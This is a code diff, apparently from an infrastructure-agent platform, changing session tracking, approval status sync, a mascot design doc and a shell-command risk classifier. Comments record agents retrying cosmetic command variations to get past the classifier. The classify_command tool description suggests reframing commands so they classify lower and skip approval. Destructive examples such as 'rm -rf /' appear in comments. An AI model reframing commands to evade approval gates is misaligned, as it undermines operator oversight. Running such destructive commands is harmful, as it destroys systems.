`UPDATE session_plan_steps SET status = 'replaced', finished_at = COALESCE(finished_at, now()) WHERE session_id = $1 AND status <> 'replaced'`,
sessionID)
if _, err := s.pool.Exec(ctx,
`UPDATE agent_sessions SET goal = $2, status = 'executing', last_active_at = now() WHERE id = $1`,
`UPDATE agent_sessions SET goal = $2, status = 'executing', title = $2, last_active_at = now() WHERE id = $1`,
sessionID, goal); err != nil {
return err
}
@@ -809,6 +1085,27 @@ func (s *store) completeTask(ctx context.Context, sessionID, outcome, summary st
s.pool.Exec(ctx, `UPDATE nomos_plan_executions SET continued_at = now()
WHERE session_id = $1 AND continued_at IS NULL`, sessionID)
// P1.4 (2026-07-20): auto-close any in-flight plan steps so the agent
// doesn't need an update_plan_step(running)→update_plan_step(done)
// dance for each step right before completion. Session 8c76bb3a
// (greeting + title-sync test) burned 4 update_plan_step calls for a
// one-step plan. completeTask is the authoritative terminal — any
// step still in pending/running when the task ends is closed (as
// "done" for success, "skipped" for partial/failure) so the UI's plan
// view doesn't show orphaned running steps on a completed task.
// Replaced/cancelled/blocked steps are left alone.
closeStatus := "done"
if outcome != "success" {
closeStatus = "skipped"
}
if _, err := s.pool.Exec(ctx, `
UPDATE session_plan_steps
SET status = $2, finished_at = COALESCE(finished_at, now())
WHERE session_id = $1 AND status IN ('pending', 'running')`,
sessionID, closeStatus); err != nil {
slog.Warn("nomos: completeTask failed to auto-close in-flight steps", "session", sessionID, "error", err)
}
// Clean up assent and destructive window keys from autonomy_settings.
s.pool.Exec(ctx, `DELETE FROM autonomy_settings
WHERE key LIKE '%:' || $1`, sessionID)
@@ -817,9 +1114,22 @@ func (s *store) completeTask(ctx context.Context, sessionID, outcome, summary st
if outcome == "failure" {
status = "failed"
}
// P1.5 (2026-07-20): derive a structured blocker reason when the
// outcome is partial/failed, so trend analysis can answer "why are
// sessions failing?" without parsing free-text summaries. Three
// duplicate rclone sessions (a51e2086, 8acea2e3, cb8c8a4a) all
// bounced off the classifier; without a blocker field, the *why* was
// buried in the last assistant message. The signatures matched here
// are the recurring ones from the 2026-07-20 session audit. Empty for
// success — that's not a blocker.
blocker := ""
if outcome != "success" {
blocker = deriveBlocker(ctx, s, sessionID, summary)
}
if _, err := s.pool.Exec(ctx, `
UPDATE agent_sessions SET status = $2, outcome = $3, summary = $4, last_active_at = now()
WHERE id = $1`, sessionID, status, outcome, summary); err != nil {
UPDATE agent_sessions SET status = $2, outcome = $3, summary = $4,
blocker = $5, closed_at = now(), last_active_at = now()
WHERE id = $1`, sessionID, status, outcome, summary, blocker); err != nil {
return err
}
var entID uuid.UUID
@@ -837,10 +1147,58 @@ func (s *store) completeTask(ctx context.Context, sessionID, outcome, summary st
}
_ = observability.Event(ctx, sqlcgen.New(s.pool), "task.status", entPtr, severity, "nomos", sessionID,
map[string]any{"status": status, "outcome": outcome, "summary": summary,
"cancelled_executions": cancelledCount})
"cancelled_executions": cancelledCount, "blocker": blocker})
return nil
}
// blockerPatterns maps a substring (case-insensitive) to a structured blocker
// reason. Order matters — earlier patterns take precedence. These are the
// recurring failure signatures from the 2026-07-20 session audit. A
// real-world blocker that doesn't match any of these falls through to
// "uncategorized" — better than empty, because empty means "we don't know
// it's a blocker at all." See plans/2026-07-20-session-review-ten-sessions.md.
var blockerPatterns = []struct {
pattern string
reason string
}{
{"queued for approval", "approval_timeout"},
{"assent window", "approval_timeout"},
{"cancel", "user_abandoned"},
{"close this session", "user_abandoned"},
{"lets just close", "user_abandoned"},
{"classifier flagged", "classifier_overreach"},
{"config_mutation", "classifier_overreach"},
{"refus", "model_refusal"}, // refuses/refused/refusal
{"empty response", "model_empty_response"},
{"no local knowledge", "missing_knowledge"},
{"can't run", "missing_capability"},
{"cannot run", "missing_capability"},
{"timeout", "tool_error"},
{"error", "tool_error"},
}
// deriveBlocker scans the last assistant message + the summary for known
// failure signatures and returns the matching structured reason. Returns
// "uncategorized" when outcome is partial/failed but no signature matched —
// better than "" because the audit needs to know this WAS blocked, just for
// an unknown reason. Returns "" for success outcomes (caller checks first).
func deriveBlocker(ctx context.Context, s *store, sessionID, summary string) string {
// Pull the last assistant text — that's where the agent's parting
// words explain why it didn't finish.
var lastText string
_ = s.pool.QueryRow(ctx, `
SELECT content::text FROM agent_messages
WHERE session_id = $1 AND role = 'assistant'
ORDER BY created_at DESC LIMIT 1`, sessionID).Scan(&lastText)
haystack := strings.ToLower(lastText + " " + summary)
for _, p := range blockerPatterns {
if strings.Contains(haystack, p.pattern) {
return p.reason
}
}
return "uncategorized"
}
// hadEntityWriteback checks whether this session called update_entity_attributes
// or create_relationship — used by complete_task to warn the agent when it
// forgot to persist entity facts (the #1 cause of knowledge graph drift).

View File

@@ -6,6 +6,7 @@ import (
"fmt"
"log/slog"
"strings"
"time"
)
// Task tools are nomos-LOCAL, not MCP tools. They are session-scoped, and the
@@ -185,7 +186,38 @@ func (a *agent) handleTaskTool(ctx context.Context, sessionID, name string, args
// what the SOUL.md "approve the plan, not each step" model actually
// describes. set_goal records the goal + flips status to executing
// and nothing more.
return "Goal set: " + goal + ". NEXT: pre-plan with read-only tools (search_knowledge, get_entity, list_lxcs, get_relations), then propose_plan (mandatory — even read-only tasks need a one-step plan; the run handler refuses without one). After propose_plan: if all steps are read-only, execute immediately (no approval needed). If any step is config_mutation/destructive, stop and wait for operator approval.", true
response := "Goal set: " + goal + ". NEXT: pre-plan with read-only tools (search_knowledge, get_entity, list_lxcs, get_relations), then propose_plan (mandatory — even read-only tasks need a one-step plan; the run handler refuses without one). After propose_plan: if all steps are read-only, execute immediately (no approval needed). If any step is config_mutation/destructive, stop and wait for operator approval."
// P1.3 (2026-07-20): surface prior partial/failed sessions for the
// same problem so the agent can pick up the thread instead of
// rediscovering it. Three rclone sessions (a51e2086, 8acea2e3,
// cb8c8a4a) all bounced off the classifier because each new session
// started from scratch. The agent gets a hint with the prior
// goal + summary; if it looks related, search_knowledge or open
// the prior session's transcript (GET /sessions/{id}) before
// re-planning. See plans/2026-07-20-session-review-ten-sessions.md.
prior, _ := a.store.recentPartialSessions(ctx, sessionID, 24*time.Hour)
if len(prior) > 0 {
var b strings.Builder
b.WriteString("\n\nNOTE — recent unfinished sessions (last 24h, outcome=partial/failed):")
for i, p := range prior {
if i >= 5 {
b.WriteString(fmt.Sprintf("\n ...and %d more", len(prior)-5))
break
}
sum := p.Summary
if sum == "" {
sum = "(no summary)"
}
if len(sum) > 200 {
sum = sum[:200] + "..."
}
b.WriteString(fmt.Sprintf("\n - %s (sid %s, outcome=%s): %s",
p.Goal, p.ID[:8], p.Outcome, sum))
}
b.WriteString("\nIf any of these looks like the same problem, search_knowledge for the prior investigation or read it via GET /sessions/{id} before re-planning — don't rediscover what was already learned.")
response += b.String()
}
return response, true
case "propose_plan":
raw, _ := args["steps"].([]any)

View File

@@ -13,11 +13,16 @@
> feature of it — the same relationship [components.md](../mbse/components.md)
> has to [README.md](../mbse/README.md), applied recursively.
**Status of this Model:** the subsystem it describes does not exist in
code yet. Every View below is marked **Planned**, not **Verified**
compare to [../mbse/README.md](../mbse/README.md)'s confidence grading,
which this document borrows. The corresponding implementation plan is
[plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md).
**Status of this Model:** the subsystem it describes is **implemented**
in `web/src/lib/mascot/` and `web/public/mascot/` (as of 2026-07-20).
Views below are marked **Implemented** where the code matches; a small
number of requirements (distinct adult art, a true round radial menu)
remain **Planned** as polish items. The corresponding implementation plan
is [plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md),
which carries a deviation note at the top covering the changes made
during implementation (hatch-on-naming, PNG-sheet art, button-column
radial menu, 60fps loop), and the physics audit/follow-up is
[plans/2026-07-20-mascot-physics-audit.md](../../plans/2026-07-20-mascot-physics-audit.md).
## Views in this model
@@ -77,22 +82,23 @@ flowchart TB
## 2. Requirements
Traced from the original feature request. All **Planned**.
Traced from the original feature request. Status reflects the
2026-07-20 implementation; **Planned** items are deferred polish.
| ID | Statement | Source | Status |
|---|---|---|---|
| MASC-1 | The mascot SHALL render as pixel-art, drawn from code (string pixel-grids + palette), not binary sprite assets | User request | Planned |
| MASC-2 | The mascot SHALL roam the desktop surface autonomously, walking along the ground (surface bottom, above the taskbar) under gravity | User request + design decision | Planned |
| MASC-3 | The mascot SHALL be draggable with the mouse; releasing it mid-air SHALL trigger a flutter-fall back to the ground | User request + design decision | Planned |
| MASC-4 | Right-clicking the mascot SHALL open a round (Sims-style) interaction menu supporting nested submenus | User request | Planned |
| MASC-5 | The mascot SHALL have a tamagotchi lifecycle: egg → chick → adult, with a user-assignable name | User request | Planned |
| MASC-6 | The mascot's stage, name, and stats SHALL persist across reloads | User request (implied by "tamagotchi") | Planned |
| MASC-7 | The mascot SHALL have idle states (autonomous behavior when untouched) and interactive states (drag, click, menu) | User request | Planned |
| MASC-8 | The mascot SHALL react visibly to real application activity: chat streaming, knowledge-graph writes, critical signals | User request ("aware of its environment... feels alive and connected") | Planned |
| MASC-9 | Animations, behaviors, menu actions, and reactions SHALL each be defined in a single data-driven registry, so a new one can be added without touching the engine code | User request ("easily expansible") | Planned |
| MASC-10 (NFR) | The mascot's game loop SHALL run at ~30fps via `setTimeout`, not `requestAnimationFrame`, matching the repo's existing [`GraphBackground.svelte`](../../web/src/lib/components/GraphBackground.svelte) convention (rAF suspends in some hidden-tab embeddings) | Codebase convention | Planned |
| MASC-11 (NFR) | The mascot SHALL never write to the API; all mutation is local (localStorage) | Design decision, this document §1 | Planned |
| MASC-12 (NFR) | Persistence writes SHALL be debounced (~300ms), never per animation frame | Codebase convention ([`stores/windows.ts`](../../web/src/lib/stores/windows.ts) wmkit persist) | Planned |
| MASC-1 | The mascot SHALL render as pixel-art from bundled 16x16 PNG sprite sheets (chicken + egg packs), not code-drawn string grids | User request (relaxed from "code-drawn" during implementation — see plan deviation note) | Implemented |
| MASC-2 | The mascot SHALL roam the desktop surface autonomously, walking along the ground (surface bottom, above the taskbar, OR the top edge of any non-minimized window beneath it) under gravity | User request + design decision | Implemented |
| MASC-3 | The mascot SHALL be draggable with the mouse; releasing it mid-air SHALL trigger a flutter-fall back to the ground | User request + design decision | Implemented |
| MASC-4 | Right-clicking the mascot SHALL open an interaction menu supporting nested submenus; rendered as a rounded-button column (relaxed from "round/Sims-style" — see plan deviation note) | User request | Implemented |
| MASC-5 | The mascot SHALL have a tamagotchi lifecycle: egg → chick → adult, with a user-assignable name; the egg → chick transition fires on first naming, not on a timed incubation | User request | Implemented |
| MASC-6 | The mascot's stage, name, and stats SHALL persist across reloads | User request (implied by "tamagotchi") | Implemented |
| MASC-7 | The mascot SHALL have idle states (autonomous behavior when untouched) and interactive states (drag, click, menu) | User request | Implemented |
| MASC-8 | The mascot SHALL react visibly to real application activity: chat streaming, knowledge-graph writes, critical signals | User request ("aware of its environment... feels alive and connected") | Implemented |
| MASC-9 | Animations, behaviors, menu actions, and reactions SHALL each be defined in a single data-driven registry, so a new one can be added without touching the engine code | User request ("easily expansible") | Implemented |
| MASC-10 (NFR) | The mascot's game loop SHALL run via `setTimeout`, not `requestAnimationFrame`, matching the repo's existing [`GraphBackground.svelte`](../../web/src/lib/components/GraphBackground.svelte) convention (rAF suspends in some hidden-tab embeddings); runs at ~60fps (relaxed from 30fps for smoother drag/fall — see plan deviation note) | Codebase convention | Implemented |
| MASC-11 (NFR) | The mascot SHALL never write to the API; all mutation is local (localStorage) | Design decision, this document §1 | Implemented |
| MASC-12 (NFR) | Persistence writes SHALL be debounced (~300ms), never per animation frame | Codebase convention ([`stores/windows.ts`](../../web/src/lib/stores/windows.ts) wmkit persist) | Implemented |
## 3. Structural View
@@ -206,7 +212,7 @@ explicit before any of it is coded.
```mermaid
stateDiagram-v2
[*] --> egg
egg --> chick : hatchProgress reaches 1\n(advanceStageIfReady)
egg --> chick : first naming submitted\n(forceHatch: hatchProgress=1)
state chick_and_adult_behaviors {
[*] --> idle
@@ -214,14 +220,17 @@ stateDiagram-v2
wander --> idle
idle --> peck : weighted random pick
peck --> idle
idle --> hop : weighted random pick
hop --> idle : touchdown\n(off-edge mid-hop hands to falling)
idle --> sleep : weighted random pick
sleep --> idle
wander --> falling : y below ground\n(off a dragged edge, etc.)
idle --> dragged : pointerdown + move\npast 5px threshold
wander --> dragged : pointerdown + move
sleep --> dragged : pointerdown + move\n(interrupts sleep)
dragged --> falling : pointerup, released mid-air
falling --> land : y reaches ground
dragged --> falling : pointerup, released mid-air\n(toss velocity from pointer history)
falling --> falling : hard impact\n(one diminished bounce)
falling --> land : y reaches ground\n(sideways momentum -> skid)
land --> idle
[*] --> react : stimulus dispatched\n(priority/cooldown gated)
react --> idle : durationMs elapsed,\nreturns to prior-or-idle
@@ -238,19 +247,35 @@ returns null past `behaviorUntil` — see
[plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md)
for the concrete weights.
**Physics feel (implemented 2026-07-20, second pass):** the fall is a
losing attempt at flight, not a drop — wing-beat impulses on a
speed-scaled, jittered flap cycle (panic flapping) shave the descent;
falls faster than terminal velocity (hard downward tosses) decay back
under drag instead of clamping; hard impacts bounce once, squash via a
damped-spring render layer scaled by impact speed, and poof a burst of
feather pixels; sideways momentum becomes a friction skid on touchdown
and ricochets off the surface's side bounds mid-fall; the sprite
stretches along its motion in the air and tilts into horizontal velocity
(fall, drag, and skid); walking bobs at step frequency. All of it is
tuning in `behavior.ts` plus the pure render layer in `Mascot.svelte`'s
`updateJuice()` — no new assets, no new states beyond `hop`.
### 4.2 Tamagotchi lifecycle (long-lived state)
```mermaid
stateDiagram-v2
[*] --> egg : first load,\ndefaultModel()
egg --> chick : active time >= HATCH_MS (3min)\n+ NameDialog shown
egg --> chick : first naming submitted\n(forceHatch sets hatchProgress=1)\n+ NameDialog shown
chick --> adult : xp >= ADULT_XP (200)
adult --> [*]
```
This is a separate state machine from §4.1: §4.1 governs frame-to-frame
motion/animation, §4.2 governs the tamagotchi's slow-moving `MascotModel`
(persisted, ticked ~1x/sec via `tickLifecycle`, not every frame).
(persisted, ticked ~1x/sec via `tickLifecycle`, not every frame). The
egg → chick transition fires on first naming, not on a timed incubation
— see the deviation note in
[plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md).
### 4.3 Example sequence — an environment stimulus becomes a visible reaction
@@ -258,18 +283,27 @@ motion/animation, §4.2 governs the tamagotchi's slow-moving `MascotModel`
sequenceDiagram
participant SSE as stores/events.ts (SSE)
participant Stim as stimuli.ts attachStimuli
participant Layer as MascotLayer.svelte (emit callback)
participant FSM as behavior.ts
participant Mascot as Mascot.svelte (canvas)
SSE->>Stim: liveEvents updates,\nnew head event severity=critical
Stim->>Stim: check REACTIONS['alarmed']\ncooldown + priority
Stim->>FSM: forceBehavior(rt, 'react', {anim: 'react-alarm', durationMs})
Stim->>Layer: emit(reaction)
Layer->>Layer: if model.stage === 'egg': drop\n(egg isn't "alive" yet)
Layer->>FSM: forceBehavior(rt, 'react', {anim, durationMs})
FSM->>FSM: interrupts current behavior\n(even sleep, interruptsSleep=true)
FSM->>Mascot: rt.behavior = 'react', rt.anim = 'react-alarm'
Mascot->>Mascot: next 30fps tick draws\nreact-alarm frame
Mascot->>Mascot: next ~60fps tick draws\nreact-alarm frame + bubble
Note over FSM: after durationMs,\nnext() returns to idle
```
**Egg-stage suppression:** MascotLayer's `emit` callback drops any
reaction when `model.stage === 'egg'`. The egg isn't "alive" yet (no
name, no hatched chick to react), so stimulus events are silently
ignored until the egg hatches — this keeps the egg calm during the
naming dialog rather than playing alarm animations behind it.
## 5. Interfaces View
**Stakeholders:** an engineer wiring a new store into the mascot's
@@ -281,7 +315,7 @@ awareness, or auditing what it depends on.
| [`stores/chat.ts`](../../web/src/lib/stores/chat.ts) `streaming` | consumed | `Writable<boolean>` | false→true edge triggers the `thinking` reaction, held while true |
| [`stores/activity.ts`](../../web/src/lib/stores/activity.ts) `activityLog` | consumed | derived `Readable<ActivityEntry[]>`, **recomputed wholesale** on every emission — not append-only | new entries with `type === 'knowledge'` detected by diffing entry `id`s between emissions, not by treating it as a stream |
| [`stores/context.ts`](../../web/src/lib/stores/context.ts) `summary` | consumed | `Writable<DashboardSummary\|null>` | ambient state (open signal counts via `openSignalCount(summary)`) |
| `localStorage['oikos-mascot']` | owned | `MascotModel` JSON, `{ version: 1, stage, name, hatchProgress, happiness, xp, hatchedAt, lastPos: {x}, lastSeen }` | debounced write (~300ms, mirrors [`stores/windows.ts`](../../web/src/lib/stores/windows.ts) wmkit persist) + `beforeunload` flush; `version` field reserved for a future `migrate()`; multi-tab is last-writer-wins (accepted, documented, not solved) |
| `localStorage['oikos-mascot']` | owned | `MascotModel` JSON, `{ version: 1, stage, name, hatchProgress, happiness, xp, hatchedAt, lastPos: {x}, lastSeen }` (hatchProgress is binary 0/1: 0 until first naming, 1 after) | debounced write (~300ms, mirrors [`stores/windows.ts`](../../web/src/lib/stores/windows.ts) wmkit persist) + `beforeunload` flush; `version` field reserved for a future `migrate()`; multi-tab is last-writer-wins (accepted, documented, not solved) |
| [`Desktop.svelte`](../../web/src/lib/components/desktop-shell/Desktop.svelte) mount | owned | `<MascotLayer />`, 2-line insertion | see §3 |
No interface in this table is a write path to the Oikos API — consistent
@@ -310,13 +344,15 @@ Manual browser checklist (no automated test harness planned for v1 — see
[plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md)
for the same list in implementation-order context):
- Egg renders grounded at the surface bottom, wiggles occasionally, survives
a reload at the same x (confirm `oikos-mascot` is debounced — no writes
fire from mere walking, only from discrete transitions).
- Egg renders grounded at the surface bottom, wiggles gently while the
name dialog is open, and survives a reload at the same x (confirm
`oikos-mascot` is debounced — no writes fire from mere walking, only
from discrete transitions).
- Dragging the egg up and releasing triggers a flutter-fall with no
tunneling below the taskbar; dragging past the surface edges clamps.
- Forcing hatch (debug menu action) transitions to chick, opens the name
dialog, and the name persists across reload.
- A fresh egg (no name) opens the name dialog on mount; submitting it
hatches to chick; the name persists across reload. The debug "Force
hatch" action does the same without prompting.
- Chick wanders and flips sprite at surface edges, pecks, sleeps
autonomously; a plain click (no drag) triggers a pet/hop reaction.
- Right-clicking the chicken opens the radial menu centered on it, without

View File

@@ -229,6 +229,33 @@ func (s *Server) DecideApproval(ctx context.Context, req gen.DecideApprovalReque
_, _ = tx.Exec(ctx, `UPDATE executions SET status = $2, completed_at = now() WHERE approval_id = $1 AND status = 'pending_approval'`, id, status)
}
// If this execution belongs to a nomos session, flip it out of
// awaiting_input — the counterpart to classifyAndGate flipping it IN
// the moment the approval was created (internal/mcp/server.go's
// markSessionAwaitingApproval). Runs for all three decisions (approve/
// deny/revoke): each one is an operator answer to "what do I do about
// this?", same as answerQuestion's unconditional resume-to-executing
// (cmd/nomos/store.go) for a session_questions answer.
var awaitingSessionID string
_ = tx.QueryRow(ctx, `
SELECT pe.session_id FROM nomos_plan_executions pe
JOIN executions ex ON ex.entity_id = pe.execution_id
WHERE ex.approval_id = $1
LIMIT 1`, id).Scan(&awaitingSessionID)
if awaitingSessionID != "" {
if rtag, rerr := tx.Exec(ctx, `
UPDATE agent_sessions SET status = 'executing', last_active_at = now()
WHERE id = $1 AND status = 'awaiting_input'`, awaitingSessionID); rerr == nil && rtag.RowsAffected() > 0 {
var taskEntID *uuid.UUID
var e uuid.UUID
if qerr := tx.QueryRow(ctx, `SELECT entity_id FROM agent_sessions WHERE id = $1`, awaitingSessionID).Scan(&e); qerr == nil && e != uuid.Nil {
taskEntID = &e
}
_ = observability.Event(ctx, q, "task.status", taskEntID, "info", "api", awaitingSessionID,
map[string]any{"status": "executing", "reason": "approval_decided", "decision": status})
}
}
if err := tx.Commit(ctx); err != nil {
return nil, err
}

View File

@@ -778,6 +778,7 @@ func classifyAndGate(ctx context.Context, pool *db.Pool, agentID, targetID uuid.
pool.Exec(ctx, `UPDATE executions SET status='pending_approval', risk_class=$2 WHERE entity_id=$1`, id, riskClass)
createApproval(ctx, pool, id, targetID, "run", string(runParams), riskClass)
markSessionAwaitingApproval(ctx, pool, sessionID)
confirmNote := ""
if riskClass == policy.RiskDestructive {
confirmNote = " This is classified DESTRUCTIVE — flag that clearly to the operator; it needs explicit confirmation, not just a casual \"go ahead\"."
@@ -1065,6 +1066,49 @@ func createApproval(ctx context.Context, pool *db.Pool, execID, targetID uuid.UU
map[string]any{"action": action, "params": params, "risk_class": riskClass})
}
// markSessionAwaitingApproval flips a session to awaiting_input the moment
// one of its gated executions is queued for approval — mirrors what
// askOperator does for session_questions (cmd/nomos/store.go's askOperator),
// so a pending execution approval reads as "needs input" to both the
// frontend's Overview board (which only checks agent_sessions.status) and
// the idle-sweep safety net (staleGoalSessions, cmd/nomos/store.go, which
// already excludes awaiting_input from its stale-task sweep). Before this, a
// task blocked on a config_mutation/destructive approval just sat at
// 'executing' — indistinguishable from a task still genuinely working — so
// the idle sweep would eventually nudge it and then auto-close it with
// outcome=partial while the approval was still sitting there undecided.
// The httpapi package's DecideApproval flips the session back out once the
// approval is approved/denied/revoked (internal/httpapi/approvals.go).
//
// No-op for sessionID=="" (a direct MCP call with no nomos session) or a
// session that's already terminal/already awaiting_input — the status IN
// guard makes this safe to call unconditionally from classifyAndGate.
func markSessionAwaitingApproval(ctx context.Context, pool *db.Pool, sessionID string) {
if sessionID == "" || sessionID == "ephemeral" {
return
}
tag, err := pool.Exec(ctx, `
UPDATE agent_sessions SET status = 'awaiting_input', last_active_at = now()
WHERE id = $1 AND status IN ('active', 'planning', 'executing')`, sessionID)
if err != nil || tag.RowsAffected() == 0 {
return
}
_ = observability.Event(ctx, sqlcgen.New(pool), "task.status", sessionTaskEntity(ctx, pool, sessionID),
"info", "nomos", sessionID, map[string]any{"status": "awaiting_input", "reason": "execution_pending_approval"})
}
// sessionTaskEntity resolves a session's own task-entity id, for anchoring
// events to the right node in the graph — mirrors cmd/nomos/store.go's
// (unexported) taskEntityPtr; duplicated here since that's a different
// package's private method.
func sessionTaskEntity(ctx context.Context, pool *db.Pool, sessionID string) *uuid.UUID {
var id uuid.UUID
if err := pool.QueryRow(ctx, `SELECT entity_id FROM agent_sessions WHERE id = $1`, sessionID).Scan(&id); err != nil || id == uuid.Nil {
return nil
}
return &id
}
// inspectPathAcrossTargets is the bulk fact-gathering helper behind the
// inspect_path MCP tool (plans/2026-07-18-session-review-three-sessions.md
// P1.5). For each target slug, it runs a single read-only shell command

View File

@@ -7,6 +7,7 @@ import (
"strings"
"github.com/dtoro/oikos/internal/db"
"github.com/dtoro/oikos/internal/policy"
"github.com/google/uuid"
"github.com/modelcontextprotocol/go-sdk/mcp"
)
@@ -704,6 +705,48 @@ func allTools(pool *db.Pool, agentID uuid.UUID) []toolReg {
FROM entities e WHERE e.slug = $1`, slug, action), nil
}},
// classify_command is the command-scoped preflight from
// plans/2026-07-20-session-review-ten-sessions.md P0.2. The
// existing `preflight` tool is entity/action-scoped — useless when
// the agent is composing a `run` command and needs to know whether
// the classifier will accept it before submitting. Without this,
// the agent has to retry with cosmetic variations until it finds
// one that passes (see sessions a51e2086, 8acea2e3 — three
// duplicate rclone sessions, all bouncing off the classifier).
// Call this BEFORE `run` whenever the classification is uncertain.
{tool: &mcp.Tool{Name: "classify_command", Description: "Pre-flight risk classification for a shell command BEFORE calling run. Returns the risk class (read_only / reversible_low / config_mutation / destructive) that `run` would assign. Use this when you're unsure whether a command will auto-execute or need approval — e.g. `pct exec`, `curl`, compound commands, or anything that might be mistaken for mutation. If this returns read_only, the same command will auto-execute via run with no approval; if it returns config_mutation, expect to need operator approval (or pre-frame the command so it classifies lower). Declared risk can only escalate, never de-escalate.",
InputSchema: objSchema(
prop{"command", "string", "The exact shell command you intend to pass to run."},
prop{"declared_risk", "string", "Optional self-assessment you would pass to run (read_only, reversible_low, config_mutation, destructive). Mirrors run's declared_risk parameter."},
),
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
args := argsMap(req)
command, _ := args["command"].(string)
declaredRisk, _ := args["declared_risk"].(string)
if command == "" {
return textResult("error: command is required"), nil
}
risk := policy.ClassifyCommand(command, declaredRisk)
note := ""
switch risk {
case policy.RiskReadOnly:
note = "auto-acts on `run` (no approval needed)."
case policy.RiskReversibleLow:
note = "auto-acts on `run` (no approval needed)."
case policy.RiskConfigMutation:
note = "requires operator approval on `run` (or loose assent window active)."
case policy.RiskDestructive:
note = "requires explicit operator confirmation on `run` (typed \"I confirm\" phrase)."
}
out, _ := json.Marshal(map[string]any{
"command": command,
"declared_risk": declaredRisk,
"risk_class": risk,
"note": note,
})
return textResult(string(out)), nil
}},
{tool: &mcp.Tool{Name: "get_change_history", Description: "Last N change-ledger entries for an entity",
InputSchema: objSchema(
prop{"entity_slug", "string", "Entity slug"},

View File

@@ -77,8 +77,40 @@ var readOnlyLeadPattern = regexp.MustCompile(
`docker\s+compose\s+(logs|ps|top|config|images|port|cp)\b|` +
`pct\s+(status|config|list)|qm\s+(status|config|list)|pvesh\s+get|` +
`rclone\s+(ls|lsl|md5sum|check|cryptcheck)\b|` +
`git\s+(status|log|diff|show|branch|remote)|` +
`curl\s+-.*-I\b|curl\s+.*--head\b)\b`)
`git\s+(status|log|diff|show|branch|remote))\b`)
// envAssignRe matches leading FOO=bar env-var assignments so they can be
// stripped before the read-only verb check.
var envAssignRe = regexp.MustCompile(`^(\w+=\S+\s+)+`)
// pctExecRe matches "pct exec <id> [--] <inner>" and captures <inner>. The
// id is a decimal digit string (Proxmox CT ids). The "--" separator is
// optional but recommended — without it, the rest of the line is the
// command passed to exec. Case-insensitive.
var pctExecRe = regexp.MustCompile(`(?i)^pct\s+exec\s+\d+\s+(?:--\s+)?(.+)$`)
// qmGuestExecRe matches "qm guest exec <id> [--] <inner>" similarly.
var qmGuestExecRe = regexp.MustCompile(`(?i)^qm\s+guest\s+exec\s+\d+\s+(?:--\s+)?(.+)$`)
// shellDashCRe matches "bash -c 'cmd'", "sh -c \"cmd\"" etc., capturing
// the quoted inner command. Handles single-quoted, double-quoted, and bare
// (unquoted) forms.
var shellDashCRe = regexp.MustCompile(`(?i)^(?:ba)?sh\s+-c\s+(?:"([^"]*)"|'([^']*)'|(\S+))\s*$`)
// curlLeadRe matches a curl command (the verb alone, at the segment start).
var curlLeadRe = regexp.MustCompile(`(?i)^curl\b`)
// curlMutateRe matches curl flags that indicate mutation (POST/PUT/DELETE
// method override, data payloads, form uploads, file uploads, file output).
// When any of these appears, the curl command is no longer read-only.
var curlMutateRe = regexp.MustCompile(`(?i)(?:^|\s)-X\s+(?:post|put|delete|patch|connect|trace)\b|(?:^|\s)-(?:d|F|T|o)\b|(?:^|\s)--(?:data[-a-z]*|request|form|upload-file|output)\b`)
// redirectOutRe matches shell output redirection to a file (> or >> followed
// by a path), but excludes the file-descriptor merge form `>&<digit>` (e.g.
// `2>&1`) which only rearranges streams and writes nothing to disk. RE2 has
// no lookahead, so we encode the exclusion by requiring the post-`>` char to
// be neither `&` nor whitespace.
var redirectOutRe = regexp.MustCompile(`(^|[^-])>>?\s*[^&\s]`)
// compoundSplitRe splits a command on shell chaining operators (;, &&, ||, |)
// so each segment can be individually classified. A piped or chained command
@@ -130,16 +162,29 @@ func computeCommandRisk(command string) string {
return RiskConfigMutation
}
// Unwrap known wrappers (pct exec <id> --, qm guest exec <id> --,
// bash -c '…', sh -c '…', sudo, env assignments) so the classifier
// scores the *actual* command, not the wrapper. Without this, every
// `pct exec 132 systemctl status rclone-backup.timer` escalates to
// config_mutation even though the inner command is read-only inspection.
// See plans/2026-07-20-session-review-ten-sessions.md P0.1 — three
// sessions bounced off the classifier because read-only `pct exec` and
// `curl` were gated as config_mutation.
inner := unwrapCommand(cmd)
for _, p := range destructivePatterns {
if p.MatchString(cmd) {
// Match on both the raw and unwrapped forms so that
// `pct exec 121 -- rm -rf /` is still destructive even if the
// unwrapping somehow hid it.
if p.MatchString(inner) || p.MatchString(cmd) {
return RiskDestructive
}
}
// Subshell substitution ($(), backticks) can hide arbitrary execution —
// never auto-run, even if the visible verbs look read-only.
if !subshellRe.MatchString(cmd) {
if allSegmentsReadOnly(cmd) {
if !subshellRe.MatchString(inner) {
if allSegmentsReadOnly(inner) {
return RiskReadOnly
}
}
@@ -149,6 +194,70 @@ func computeCommandRisk(command string) string {
return RiskConfigMutation
}
// unwrapCommand peels known command wrappers to expose the inner command
// for classification. It repeatedly strips:
// - leading sudo
// - leading FOO=bar env-var assignments
// - `pct exec <id> [--] <inner>` → <inner>
// - `qm guest exec <id> [--] <inner>` → <inner>
// - `bash -c 'cmd'` / `sh -c "cmd"` → <cmd>
//
// When no wrapper is detected, the input is returned unchanged. The peel
// is iterative so "sudo pct exec 121 -- bash -c 'echo hi'" reduces to
// "echo hi" after a few passes. Compound commands (containing ;, &&, ||,
// |) are returned unchanged — they need per-segment classification, which
// the caller handles.
func unwrapCommand(cmd string) string {
probe := strings.TrimSpace(cmd)
// A compound command cannot be unwrapped as a whole — the inner
// command of "pct exec 121 -- foo; rm -rf /" depends on which side of
// the ";" you're on. The caller splits compounds before classifying
// each segment, and each segment is unwrapped independently. Bail out
// here so we don't unwrap "pct exec 121 -- foo" and lose the rest.
if compoundOpPattern.MatchString(probe) {
return probe
}
for i := 0; i < 8; i++ { // bounded unwrap depth
next := peelOneWrapper(probe)
if next == probe {
return probe
}
probe = strings.TrimSpace(next)
}
return probe
}
// peelOneWrapper applies one peel step. Returns the input unchanged if no
// wrapper matched.
func peelOneWrapper(probe string) string {
// sudo prefix
if stripped := strings.TrimPrefix(probe, "sudo "); stripped != probe {
return strings.TrimSpace(stripped)
}
// Env assignments: FOO=bar BAZ=qux <cmd>
if envAssignRe.MatchString(probe) {
